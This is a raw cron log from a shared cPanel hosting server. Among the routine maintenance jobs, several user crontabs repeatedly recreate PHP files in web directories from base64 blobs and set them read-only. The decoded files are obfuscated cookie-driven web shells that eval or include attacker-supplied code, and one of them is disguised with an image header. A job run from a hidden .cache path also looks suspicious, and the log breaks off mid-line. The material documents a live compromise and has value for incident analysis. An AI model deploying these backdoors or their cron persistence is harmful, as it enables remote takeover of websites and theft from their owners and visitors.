Mar  2 00:35:02 medusa CROND[30005]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:35:02 medusa CROND[30009]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 00:35:02 medusa CROND[30011]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:35:02 medusa CROND[30014]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:35:02 medusa CROND[30015]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 00:35:02 medusa CROND[30021]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 00:35:02 medusa CROND[30024]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 00:35:02 medusa CROND[30026]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:35:02 medusa CROND[30027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 00:35:02 medusa CROND[30025]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 00:36:01 medusa CROND[5662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:36:02 medusa CROND[5708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:36:02 medusa CROND[5709]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:36:02 medusa CROND[5710]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:36:02 medusa CROND[5711]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:36:02 medusa CROND[5712]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:36:02 medusa CROND[5713]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 00:36:02 medusa CROND[5714]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:36:02 medusa CROND[5715]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:36:02 medusa CROND[5717]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:36:02 medusa CROND[5716]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:36:02 medusa CROND[5727]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:36:02 medusa CROND[5726]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:36:02 medusa CROND[5725]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 00:37:02 medusa CROND[11820]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:37:02 medusa CROND[11821]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:37:02 medusa CROND[11822]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:37:02 medusa CROND[11825]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:37:02 medusa CROND[11827]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:37:02 medusa CROND[11829]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Mar  2 00:37:02 medusa CROND[11828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:37:02 medusa CROND[11831]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:37:02 medusa CROND[11837]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:37:02 medusa CROND[11838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:37:02 medusa CROND[11839]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMD